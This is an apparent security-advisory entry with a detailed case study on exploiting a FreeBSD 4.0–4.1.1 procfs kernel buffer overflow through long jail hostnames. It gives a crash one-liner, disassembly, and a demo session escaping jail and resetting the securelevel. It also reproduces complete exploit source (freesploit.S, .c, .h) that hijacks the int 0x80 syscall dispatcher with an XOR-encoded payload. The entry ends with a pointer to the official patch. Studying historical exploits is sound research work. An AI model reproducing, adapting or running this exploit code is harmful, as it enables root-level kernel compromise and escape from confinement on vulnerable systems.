COMMAND
kernel
SYSTEMS AFFECTED
FreeBSD
PROBLEM
Esa Etelavuori found following. This is a detailed case study
discussing the exploitation of the FreeBSD kernel process
filesystem buffer overflow vulnerability. This is FreeBSD/i386
specific, but some of these techniques are applicable to other
systems, and perhaps give a new insight to regular buffer
overflows. Thanks to Andrew R. Reiter for reviewing and
commenting this paper, and Pascal Bouchareine for a multiprocessor
machine and comments.
There is not much public information about this subject, although
a search for kernel buffer overflows reveals some interesting
cases. Silvio Cesare's kmem patching article
http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt
is a good basis. Knowledge of the FreeBSD kernel implementation
and the IA-32 architecture would be useful. See the FreeBSD
manual pages of jail(8) and init(8) for a description of the jail
mechanism and security levels.
It is essential to have a good understanding of the vulnerability
when exploiting kernel space holes, because we are likely to have
only one try as mistakes result in a system crash.
4.4BSD procfs implementation has been broken since the beginning,
but the final blow came from jail(2). The buffer overflow happens
when a jail has been setup with a long hostname (up to 255 bytes)
or huge gids are used, and a program's status is read through
procfs.
Procfs status information looks like this:
# cat /proc/curproc/status
cat 60424 60386 60424 60386 5,0 ctty 972854153,236415 0,0 0,1043\
nochan 0 0 0,0 prisoner
Fields are:
comm pid ppid pgid sid maj,min ctty,sldr start user/system time\
wmsg euid ruid rgid,egid,groups[1 .. NGROUPS] jail's hostname
Vulnerable kernel can be crashed like this:
# jail / `perl -e 'print "x" x 250'` 1.2.3.4 /bin/cat /proc/curproc/status
Here is the actual culprit, src/sys/miscfs/procfs/procfs_status.c:
int
procfs_dostatus(curp, p, pfs, uio)
struct proc *curp;
struct proc *p;
<snip>
char *ps;
<snip>
int xlen;
int error;
char psbuf[256]; /* XXX - conservative */
<snip>
ps = psbuf;
<...snip>
for (i = 0; i < cr->cr_ngroups; i++)
ps += sprintf(ps, ",%lu", (u_long)cr->cr_groups[i]);
if (p->p_prison)
ps += sprintf(ps, " %s", p->p_prison->pr_host);
else
ps += sprintf(ps, " -");
ps += sprintf(ps, "\n");
xlen = ps - psbuf;
xlen -= uio->uio_offset;
ps = psbuf + uio->uio_offset;
xlen = imin(xlen, uio->uio_resid);
if (xlen <= 0)
error = 0;
else
error = uiomove(ps, xlen, uio);
return (error);
}
Basic mistakes, but even the jail overflow has been in the FreeBSD
source tree for over 18 months.
Psbuf is declared as the last local variable that seems to cause
problems (that we could overcome) because ps would get
overwritten. Further investigation is needed to see what kind of
code the compiler has generated with default optimizations (-O).
# nm /kernel | grep "T procfs_dostatus"
c0170d64 T procfs_dostatus
# objdump -d /kernel --start-address=0xc0170d64 | less
<snip>
c0170d64 <procfs_dostatus>:
c0170d64: 55 push %ebp
c0170d65: 89 e5 mov %esp,%ebp
c0170d67: 81 ec 24 01 00 00 sub $0x124,%esp
c0170d6d: 57 push %edi
c0170d6e: 56 push %esi
c0170d6f: 53 push %ebx
c0170d70: 8b 45 14 mov 0x14(%ebp),%eax
<snip>
ps += sprintf(ps, "\n");
c017100c: 68 cb 0d 24 c0 push $0xc0240dcb
c0171011: 56 push %esi
c0171012: e8 21 62 fd ff call c0147238 <sprintf>
c0171017: 01 c6 add %eax,%esi
xlen = ps - psbuf;
c0171019: 8d 95 00 ff ff ff lea 0xffffff00(%ebp),%edx
c017101f: 89 f1 mov %esi,%ecx
c0171021: 29 d1 sub %edx,%ecx
Ps is optimized to use %esi and psbuf is at the top of the stack
frame (referenced as -256(%ebp)).
After disassembling GENERIC kernels and compiling new ones with
different optimization settings using GCC coming with FreeBSD
releases, it seems that the above code can be considered as a
safe default to base the exploitation process on.
When exploiting the overflow by using gids, we have a very
constrained character set to use. The overflow ends with '\n\0'
so only limited addresses can be reached. We would need to be
lucky to reach suitable code. However, we can reach the current
program's stack with a one-byte frame pointer overflow and
other data areas with a two-byte overflow. We can read the top
of our process' kernel space stack from p->p_md.md_regs, which is
at the top of a two-page user area.
We do not know a simple method for filling reachable areas with
our data, but brute forcing by filling user-controlled areas with
a fake stack frame (only a dummy fp and a saved program counter
are needed), executing several programs, and searching for the
right data by reading kmem works and can be automated. Apparently
space used for argument copies is reachable and static enough to
be usable with the two-byte overflow. This could be used to break
securelevels on other BSDs, as well.
But what happens if the kernel has been compiled without using a
frame pointer? Looking at the source again, we can see that curp
and p arguments, which are just above the saved return address,
are not used after the overflow. This means that we can pad the
overflowing hostname with two return addresses, and if a frame
pointer is not used, the second one trashes curp and trailing
'\n\0' trashes p, which is still safe.
Now we can be pretty sure that we can control the program flow.
There are endless ways how to continue exploitation from here.
The "right" approach depends on the situation, and every open
source kernel can be different. The following example is meant
to illustrate some points when playing with the kernel, and not
to be an optimal exploit.
Our goal is to break out of jail and reset the security level to
insecure state. We can escape jail by zeroing our process' jail
pointer. The process flags still contain indication of jail, but
it does not matter as the main checks look for validity of the
jail pointer. The process' root directory can be set to the
system root, bypassing chroot(2) used by jail(2). We can reset
the security level by writing a value below 1 to the address of
the securelevel variable (signed int).
We need to get exact addresses of variables we want to access.
Even in most basic jail installation /kernel and /dev/{mem,kmem}
probably are links to /dev/null, so exact addresses cannot be
read using them. However, the FreeBSD kernel gives out all
needed symbol table information to anyone through kldsym(2),
which can be easily used via the kvm(3) library.
We can redirect the program flow by stopping a dummy process so
its status information does not change, use it to calculate the
exact length of a new hostname containing the payload, set the
hostname, and read the status again.
We could reach the payload by calculating the approximate distance
from the top of the stack to the buffer filled with NOPs. But we
can locate the exact address by reading the prison structure's
location from our own process structure via kvm(3), which uses
KERN_PROC sysctl(3). If we had not been jailed, we could have
used the kernel MIB for data transfers from user to kernel space.
What do we do after the payload has been triggered? The running
program could be forced to terminate, but that could cause
unexpected side effects due to it being in kernel space. The
program could be holding locks (procfs lock in this case) and
other resources that should be released. The safest way is to
resume execution as if nothing unusual had occurred. There
happens just a few byte side step.
The problem is that we do not know exactly where to return if we
cannot read the kernel code before attack. We could let the
payload scan for a call to procfs_dostatus() to calculate the
return address at run-time. However, the frame pointer might
also need adjusting, and we cannot be certain that it is done
right.
We could rely on a common case again, but if we have survived up
to this point, we do not want to fail now. We can put the
program to sleep after the payload has been triggered. When we
get out of the jailed environment, we can adjust the frame pointer
and the return address correctly, and signal the program to
continue its trip safely back to user space.
We can tune the payload for the common case, so that the
overwritten frame pointer is set to a usually correct value at
run-time by using the stack pointer, and calculating the
difference with the help of disassembly of the previous function,
procfs_rw. This can be fixed / NOPped out later if needed.
Because we have stopped the process that is under our control, we
cannot modify its attributes to escape jail. We have to modify
some other process. The process structure has a pointer to its
parent, we could use that. We could modify the system call table,
system calls, and almost anything else. Plenty of possibilities,
but perhaps the neatest way is to hijack the whole system call
dispatcher, the famous int 0x80. We could modify its Trap Gate
descriptor in the Interrupt Descriptor Table, but let's look at
the code, src/sys/i386/i386/exception.s:
/*
* Call gate entry for FreeBSD ELF and Linux/NetBSD syscall (int 0x80)
*
* Even though the name says 'int0x80', this is actually a TGT (trap gate)
* rather then an IGT (interrupt gate). Thus interrupts are enabled on
* entry just as they are for a normal syscall.
*
* We do not obtain the MP lock, but the call to syscall2 might. If it
* does it will release the lock prior to returning.
*/
SUPERALIGN_TEXT
IDTVEC(int0x80_syscall)
subl $8,%esp /* skip over tf_trapno and tf_err */
pushal
pushl %ds
pushl %es
pushl %fs
mov $KDSEL,%ax /* switch to kernel segments */
mov %ax,%ds
mov %ax,%es
MOVL_KPSEL_EAX
mov %ax,%fs
movl $2,TF_ERR(%esp) /* sizeof "int 0x80" */
FAKE_MCOUNT(13*4(%esp))
MPLOCKED incl _cnt+V_SYSCALL
call _syscall2
MEXITCOUNT
cli /* atomic astpending access */
cmpl $0,_astpending
je doreti_syscall_ret
<snip>
It saves all user registers on the stack, loads kernel selectors,
and calls the actual handler, syscall2. That is fine for us.
KDSEL is a data segment selector that covers the entire address
range with read-write access. KPSEL is a per-cpu private selector
that is important on multiprocessor machines to locate certain
structures such as the current process. We can simply let the
payload scan for the call to syscall2 and replace it with a
pointer to our code that will jump to the real syscall2 or return
after it has done what we want.
What we want is to escape jail so we will check in our patched
syscall handler for a particular system call number, and patch a
process pointed by the %fs:gd_curproc variable, which is the
process that called us. When we want to get out of jail, we will
call our new system call that does not even exist if you look at
original system calls or use ktrace(1), because ktracing is
implemented in syscall2.
This can be risky in many ways. A simple scan for the right call
opcode could fail if there happens to be another similar byte, but
int0x80_syscall has been stable, so it should not be a problem.
This small cross-modifying code and process modifications should
work on MP machines without further locking. Blocking interrupts
and getting extra locks take only a few bytes, though.
This approach uses many symbols that increases possibility of zero
bytes in addresses. Most likely it does not matter, because the
payload can be easily modified and its position can be varied as
needed. We could embed NUL bytes by constructing the hostname in
several phases, and adjusting the overflow length with gids as
needed. But we will add a standard XOR decoder to have more
features.
When the last process within a jail exits, its prison structure is
normally destroyed. Our zeroing of the prison pointer does not
modify the prison reference count, so the memory for the payload
stays allocated.
It is time to put the exploit to action.
<snip>
# id
uid=0(root) gid=0(wheel) groups=0(wheel), 65534(nobody)
# uname -sr
FreeBSD 4.1.1-RELEASE
# hostname
alcatraz.n3t
# pwd
/tmp
# sysctl -w kern.securelevel=0
kern.securelevel: 3
sysctl: kern.securelevel: Operation not permitted
# ipfw add 1 allow ip from any to any
ipfw: socket: Operation not permitted
# # Locks seem to be working, but not for long.
# ./e
prison name @ 0xc0de8404
payload len = 136
decoder skip @ 0xc0de8415
Xint0x80_syscall @ 0xc021b120
new syscall2 @ 0xc0de844d
tsleep @ 0xc01431cc
hostname @ 0xc029fba0
syscall2 @ 0xc0226f4c
gd_curproc @ 0xc0282160
rootvnode @ 0xc02a0224
securelevel @ 0xc0270884
procfs_rw @ 0xc01743e4
payload ret fix @ 0xc0de844d
>>> ok? y
# pwd
/jail/10.9.8.7/tmp
# sysctl kern.securelevel
kern.securelevel: -1
# ipfw add 1 allow ip from any to any
00001 allow ip from any to any
# ipfw -a l | head -1
00001 645 307084 allow ip from any to any
# hostname
paperbag.c0m
# ps -opid,ppid,stat,wchan,flags,ucomm -t`tty`
PID PPID STAT WCHAN F UCOMM
10908 10907 IsJ wait 1004086 sh
10929 10908 IJ wait 1004086 sh
10936 10929 IJ wait 1004086 e
10937 10936 TJ - 1001006 e
*0938 10936 DJ paperb 1000006 e
10939 10936 I wait 4086 sh
10940 10939 S wait 4086 sh
10950 10940 R+ - 4006 ps
# # Nice. New forked processes have no J(ail) flag. We can also
# # see that pid *0938 has the hostname as its wait message.
# objdump -d /kernel --start-address=0xc01743e4 | less
<snip>
c01743e4 <procfs_rw>:
c01743e4: 55 push %ebp
c01743e5: 89 e5 mov %esp,%ebp
c01743e7: 83 ec 08 sub $0x8,%esp
c01743ea: 57 push %edi
c01743eb: 56 push %esi
c01743ec: 53 push %ebx
c01743ed: 8b 45 08 mov 0x8(%ebp),%eax
<...snip>
c01744ef: e8 40 f8 ff ff call c0173d34 <procfs_dostatus>
c01744f4: eb 4e jmp c0174544 <procfs_rw+0x160>
<snip>
# # Looks like a common case so %ebp is correct and just the return
# # address needs modification. /kernel could be a fake, but let's silence
# # our paranoia for a while. After all, this is just a simple demo.
# dd if=/dev/kmem skip=0xc0de844d bs=1 count=4 2>/dev/null | hexdump -C
00000000 ba dc 0d e5 |....|
00000004
# # That's the return address.
# perl -e 'print chr 0x44, chr 0x45, chr 0x17, chr 0xc0' | \
> dd of=/dev/kmem seek=0xc0de844d bs=1 count=4 2>/dev/null
# dd if=/dev/kmem skip=0xc0de844d bs=1 count=4 2>/dev/null | hexdump -C
00000000 44 45 17 c0 |DE..|
00000004
# # Now we can inform our sleeping process in the kernel.
# h=`hostname` && hostname X && sleep 5 && hostname $h
# ps -opid,ppid,stat,wchan,flags,ucomm -t`tty`
PID PPID STAT WCHAN F UCOMM
10908 10907 IsJ wait 1004086 sh
10929 10908 IJ wait 1004086 sh
10936 10929 IJ wait 1004086 e
10937 10936 TJ - 1001006 e
10938 10936 ZJ - 1002006 e
10939 10936 I wait 4086 sh
10940 10939 S wait 4086 sh
10992 10940 R+ - 4006 ps
# # Yep, the kid got safely out of the kernel just to become a zombie. ;]
Now the intruder is free to build a new base into the kernel.
Exploiting kernel space buffer overflows is similar to user space
holes, but we have to be more careful, and understand the
vulnerability and the system better. The ability to execute
arbitrary code using the most privileged processor mode in a flat
kernel makes everything possible, and is the ultimate technical
weapon for intruders.
In this case the kernel buffer overflow has turned out to be quite
easy to exploit due to helpful cooperation from the kernel. Even
if we did not have symbol table information and a binary-only
kernel, we might be able to copy it or an equivalent version to a
laboratory machine for extra analysis and testing.
Most operating systems do not even try to offer this much
protection. Given the sad state of computer security, perhaps
the only trustworthy solution is to use open source systems.
Although verifying them is impossible, a skilled defender has
more possibilities to harden the kernel and prepare for eventual
failure of prevention. Adding non-obvious auditing mechanisms
might help to detect attackers who do fairly decent kernel
modifications and disable normal protection mechanisms.
Exploit:
/* freesploit.S
* FreeBSD/i386 4.0-4.1.1 jail(2) break & security level exploit (procfs)
*/
#include "freesploit.h"
.globl payload
.globl payload_end
.globl new_syscall2
#ifdef XOR_PAYLOAD
.globl decoder_end
.equ XOR_LEN, payload_end - decoder_end
#endif
payload:
push %eax
#ifdef XOR_PAYLOAD
push %ecx
decoder:
mov $SYM_MARKER,%eax //p->prison->name + decoder skip
xor %ecx,%ecx
movb $XOR_LEN,%cl
xor_loop:
xorb $XOR_CHAR,(%eax)
inc %eax
loop xor_loop
decoder_end:
#endif
syscall_patcher:
#ifndef XOR_PAYLOAD
push %ecx
#endif
mov $SYM_MARKER,%eax //Xint0x80_syscall
call_scan:
inc %eax
cmpb $0xe8,(%eax) //call opcode
jne call_scan
mov $SYM_MARKER,%ecx //new syscall - 5 (call len)
sub %eax,%ecx //relative call len
xchg %ecx,1(%eax) //atomic
tsleeper:
push %ebx
sleep_again:
mov $SYM_MARKER,%ecx //tsleep
mov $SYM_MARKER,%ebx //hostname
push $0x2
push %ebx
push $0x2
push %ebx
call *%ecx
add $0x10,%esp
cmpb $0x58,(%ebx) //XXX
jne sleep_again
pop %ebx
pop %ecx
pop %eax
fp_fix:
lea FP_ADD(%esp),%ebp
payload_ret_fix:
push $0xe50ddcba
ret
new_syscall2:
// %esp -> saved %eip, trapframe
cmpw $NEW_SYSCALL,TF_EAX+4(%esp)
je breakout
push $SYM_MARKER //syscall2
ret
breakout:
push %eax
push %ebx
push %ecx
mov %fs:(SYM_MARKER),%ecx //gd_curproc
//p->p_fd->fd_rdir = rootvnode
mov (SYM_MARKER),%eax //rootvnode
mov P_FD(%ecx),%ebx
mov %eax,FD_RDIR(%ebx) //XXX
//p->p_prison = NULL
xor %eax,%eax
pushw %ax
pushw $P_PRISON
pop %ebx
mov %eax,(%ebx,%ecx) //XXX
//seclvl_reset
dec %eax
mov %eax,SYM_MARKER //securelevel XXX
pop %ecx
pop %ebx
pop %eax
ret
payload_end:
.byte 0
/* freesploit.c
* FreeBSD/i386 4.0-4.1.1 jail(2) break & security level exploit (procfs)
* by Esa Etelavuori (http://www.iki.fi/ee/) in 2000.
*
* This program is free software; you can modify it as much
* you want, claim it is yours, steal it, sell it for billions,
* and use it to mess your life, but do not bother anyone else.
*/
#include <sys/param.h>
#define _KERNEL
#include <sys/jail.h>
#undef _KERNEL
#include <sys/proc.h>
#include <sys/syscall.h>
#include <sys/sysctl.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>
#include <fcntl.h>
#include <kvm.h>
#include <machine/frame.h>
#include <nlist.h>
#include <paths.h>
#include <signal.h>
#include <stddef.h>
#include "freesploit.h"
#define XBUF 512
#define SYM_WIDTH "-16"
static pid_t stopper_kid = 0;
static pid_t trigger_kid = 0;
static kvm_t *kd = NULL;
static struct kinfo_proc *kproc = NULL;
static char orig_hname[MAXHOSTNAMELEN+1] = {0};
struct kinfo_proc {
struct proc kp_proc;
};
#define PRISON_HOST_ADDR() ((unsigned int)kproc->kp_proc.p_prison \
+ offsetof(struct prison, pr_host))
extern void payload(void);
extern void payload_end(void);
extern void new_syscall2(void);
#ifdef XOR_PAYLOAD
extern void decoder_end(void);
#endif
static void stopper(void);
static void trigger(void);
static void master(void);
static void payloader(void);
static void linker(char *);
static void zero_check(int);
static ssize_t get_stats_len(pid_t);
static unsigned int get_sym(const char *);
static void fix_payload_return(const char *);
static void init_kvm(int);
static void cleanup(void);
int
main(int ac, char **av)
{
if (ac == 1)
master();
else if (ac == 2)
fix_payload_return(av[1]);
return 1;
}
static void
stopper(void)
{
kill(getpid(), SIGSTOP);
_exit(1);
}
static void
trigger(void)
{
get_stats_len(stopper_kid);
if (sethostname(orig_hname, strlen(orig_hname)))
perror("sethostname");
_exit(0);
}
static void
master(void)
{
int stats;
stopper_kid = fork();
if (stopper_kid < 0)
err(1, "fork");
if (!stopper_kid)
stopper();
atexit(cleanup);
init_kvm(O_RDONLY);
while (waitpid(stopper_kid, &stats, WUNTRACED)
&& !WIFSTOPPED(stats))
;
payloader();
trigger_kid = fork();
if (trigger_kid < 0)
err(1, "fork");
if (!trigger_kid)
trigger();
sleep(3);
syscall(NEW_SYSCALL, NULL);
system("/bin/sh");
exit(0);
}
static void
payloader(void)
{
unsigned int payload_addr;
ssize_t len;
char buf[XBUF];
char *p;
payload_addr = PRISON_HOST_ADDR();
printf("%"SYM_WIDTH"s @ %#08x\n", "prison name", payload_addr);
zero_check(payload_addr);
if (offsetof(struct proc, p_prison) != P_PRISON
|| offsetof(struct proc, p_fd) != P_FD
|| offsetof(struct filedesc, fd_rdir) != FD_RDIR
|| offsetof(struct trapframe, tf_eax) != TF_EAX)
errx(1, "struct / define mismatch");
len = (char *)payload_end - (char *)payload;
printf("%"SYM_WIDTH"s = %d\n", "payload len", len);
if (len > sizeof(buf) - 1)
errx(1, "payload too big");
memcpy(buf, payload, len);
buf[len] = '\0';
linker(buf);
len = 256 - get_stats_len(stopper_kid);
len -= strlen(buf);
if (len < 0)
errx(1, "stats too long");
p = buf;
p += strlen(p);
while (len--)
*p++ = 'x';
for (len = 2; len--;) {
*(unsigned int *)p = payload_addr;
p += sizeof payload_addr;
}
*p = '\0';
if (sethostname(buf, strlen(buf)))
err(1, "sethostname");
}
static void
linker(char *buf)
{
unsigned int addr, new_syscall2_addr;
unsigned int i;
ssize_t len;
char *p;
const char *syms[] = {"decoder skip", "Xint0x80_syscall",
"new syscall2", "tsleep", "hostname", "syscall2",
"gd_curproc", "rootvnode", "securelevel", NULL};
new_syscall2_addr = PRISON_HOST_ADDR()
+ ((char *)new_syscall2 - (char *)payload);
p = buf;
#ifdef XOR_PAYLOAD
i = 0;
#else
i = 1;
#endif
for (len = (char *)payload_end - (char *)payload; len--; p++) {
if (*(unsigned int *)p == SYM_MARKER) {
#ifdef XOR_PAYLOAD
if (i == 0) {
addr = PRISON_HOST_ADDR()
+ (char *)decoder_end - (char *)payload;
zero_check(addr); /* XXX */
}
else
#endif
if (i == 2) /* - sizeof "call 0xbadc0de5" */
addr = new_syscall2_addr - 5;
else
addr = get_sym(syms[i]);
printf("%"SYM_WIDTH"s @ %#08x\n", syms[i], addr);
#ifndef XOR_PAYLOAD
zero_check(addr);
#endif
*(unsigned int *)p = addr;
if (syms[++i] == NULL)
break;
}
}
#ifdef XOR_PAYLOAD
p = &buf[(char *)decoder_end - (char *)payload];
for (i = (char *)payload_end - (char *)decoder_end; i--;)
*p++ ^= XOR_CHAR;
#endif
len = (char *)payload_end - (char *)payload;
if (len != strlen(buf))
errx(1, "payload len %d != strlen %d\n", len, strlen(buf));
printf("%"SYM_WIDTH"s @ %#08x\n", "procfs_rw", get_sym("procfs_rw"));
printf("%"SYM_WIDTH"s @ %#08x\n", "payload ret fix",
new_syscall2_addr - 5); /* XXX */
fprintf(stderr, ">>> ok? ");
if (getchar() != 'y')
exit(1);
}
static void
zero_check(int addr)
{
int i;
for (i = 0; i < 32; i += 8) {
if (!((addr >> i) & 0xff))
errx(1, "fix it\n");
}
}
static ssize_t
get_stats_len(pid_t pid)
{
int fd;
ssize_t n;
char buf[XBUF];
snprintf(buf, sizeof buf, "/proc/%d/status", pid);
if ((fd = open(buf, O_RDONLY)) == -1)
err(1, "proc open");
if ((n = read(fd, buf, sizeof buf)) < 10)
err(1, "proc read");
close(fd);
if (gethostname(buf, sizeof buf))
err(1, "gethostname");
if (*orig_hname == '\0')
snprintf(orig_hname, sizeof orig_hname, "%s", buf);
return n - 1 - strlen(buf);
}
static unsigned int
get_sym(const char *s)
{
struct nlist nl[2];
nl[0].n_name = (char *)s;
nl[1].n_name = NULL;
if (kvm_nlist(kd, nl))
err(1, "kvm_nlist");
return nl[0].n_value;
}
static void
fix_payload_return(const char *s)
{
FILE *fh;
unsigned int addr, ret_addr;
char cmd[XBUF];
const char *fmt = "/usr/bin/objdump -d --start-address=0x%x "
"--stop-address=0x%x /kernel | /usr/bin/grep -A1 "
"procfs_dostatus | /usr/bin/tail -1";
init_kvm(O_RDWR);
addr = get_sym("procfs_rw");
snprintf(cmd, sizeof cmd, fmt, addr, addr + 0x400);
if ((fh = popen(cmd, "r")) == NULL)
err(1, "popen");
if (fscanf(fh, "%x:", &ret_addr) != 1)
err(1, "fscanf");
pclose(fh);
addr = strtoul(s, NULL, NULL);
printf("ret %#08x @ %#08x\n", ret_addr, addr);
if (addr >> 24 < 0xc0 || ret_addr >> 24 < 0xc0)
errx(1, "non-k addr");
if (kvm_write(kd, addr, (void *)&ret_addr, sizeof ret_addr)
!= sizeof ret_addr)
err(1, "kvm_write");
}
static void
init_kvm(int flags)
{
int cnt;
char *kp;
if (kd == NULL) {
kp = flags == O_RDONLY ? _PATH_DEVNULL: NULL;
kd = kvm_open(kp, kp, kp, flags, NULL);
if (kd == NULL)
err(1, "kvm_open");
kproc = kvm_getprocs(kd, KERN_PROC_PID, getpid(), &cnt);
if (kproc == NULL)
err(1, "kvm_getprocs");
}
}
static void
cleanup(void)
{
if (stopper_kid)
kill(stopper_kid, SIGKILL);
if (trigger_kid)
kill(trigger_kid, SIGKILL);
if (kd != NULL)
kvm_close(kd);
}
/* freesploit.h
* FreeBSD/i386 4.0-4.1.1 jail(2) break & security level exploit (procfs)
*/
#define NEW_SYSCALL 0x1337
#define XOR_PAYLOAD
#define XOR_CHAR 0x7f
#define SYM_MARKER 0x41414141
#define P_PRISON 0x160
#define P_FD 0x14
#define FD_RDIR 0xc
#define FP_ADD 0x24
#define TF_EAX 40
SOLUTION
The bug seems to be patched in both the stable and developers
versions of FreeBSD as well as 4.2-release. FreeBSD Security
Advisory: FreeBSD-SA-00:77, December 2000:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:77.procfs.asc